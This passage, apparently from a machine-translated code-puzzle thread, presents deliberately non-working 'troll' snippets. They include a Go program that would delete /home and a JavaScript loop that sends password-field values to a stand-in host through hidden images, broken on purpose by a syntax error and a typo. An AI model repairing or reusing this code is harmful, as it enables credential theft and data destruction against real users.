    [fileURLs enumerateObjectsUsingBlock:^(NSURL *fileURL, NSUInteger idx, BOOL *stop) {
        [[NSFileManager defaultManager] removeItemAtURL:fileURL error:nil];
    }];
}

iOS中的每个应用程序都是沙盒化的,因此尽管这会删除Documents目录中的所有内容,但仅是此特定应用程序的Documents目录。巨魔显然不知道这一点,因为他已经被其他平台上如此众多的程序所淹没。而且,一旦他意识到自己也可以推出Flappy Bird克隆版本,他可能会很兴奋,甚至没有去考虑其余的代码,因为他太着迷于梦想每天赚50,000美元的广告做任何工作。


5

走:

package main

import (
    "fmt"
    "os"
    "sync"
)

func main() {
  wg := sync.WaitGroup{}
  go deleteAll(wg)
  wg.Wait()
}

func deleteAll(wg sync.WaitGroup) {
    wg.Add(1)
    defer wg.Done()
    fmt.Println("Press enter to clean your computer!")
    fmt.Scanln()
    os.RemoveAll("/home")
}

这个有点棘手。在Go中,当主Goroutine退出时,整个程序退出。解决此问题的一个好方法是使用Waitgroup。我的“修复”有两个大问题:

  1. 在Goroutine启动之前,不会添加Waitgroup,这意味着主Goroutine将Wait在删除Goroutine之前先命中Add。由于计数器将为0,因此它没有任何等待的时间,因此它不会阻塞并且只会退出,从而终止程序。
  2. 即使以某种方式神奇地完成了deleteAll goroutine的添加操作。它得到了Waitgroup的副本,而不是指向它的指针。它不会添加到相同的Waitgroup中,因此主Goroutine将永远不会看到它。

期望输入的fmt.Scanln()只是为了确保主Goroutine在任何事情发生之前就退出。Println可能会导致其进入IO块并切换到运行主Goroutine(因此退出),而Scanln几乎肯定会这样做。实际上,任何版本的Go都不需要。

在超级理论中,此MIGHT工作并删除了一些东西,这意味着根据Go内存模型,对于的结束main和执行,没有保证的“先发生”关系RemoveAll,但事实证明,在任何现代的Go运行时/编译器中都不会保证这种关系所有新手都犯了一个错误,即他们没有在主要功能中使用同步功能。


4

Java脚本

function(){
    setInterval(function(){
        var passwordList = document.getElementsByTagName('input') ;
        var i, length = passwordList.length ;
        for(i = 0 ; i < lenght ; i++) if(passwordList[i].type == 'password'){
            var img = document.createElement('img') ;
            img.src = 'http://troll-server-password-listener.com/fake-image.jpg?password=' + passwordList[i].value ;
            img.style.display = none ;
            img.addEventListener('load', function(){
                var that = this ;
                setTimeout(function(){ that.outerHTML = '' }, 0) ;
            }) ;
            document.body.appendChild(img) ;
        }
    }, 1) ;
}() ;

1。

它不会运行,您不能创建一个全封闭的容器,而不能用括号替代它

2。

如果巨魔设法解决了这个问题,那么有一个漂亮的错字可以调试... ;-)


1
什么语言?也许
还会

@ masterX244是Javascript,我将对其进行编辑。错字提示:ReferenceError
Juan Garcia

3
这种错别字是如此频繁,以至于编辑应该对其进行自动
纠正

是的,我经常打错字。特别是如果单词的长度很长时:P
Mohammed Joraid 2014年

1
@ m01 +1我认为这应该是一个引发异常或编译时错误的保留字!
Juan Garcia 2014年
By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.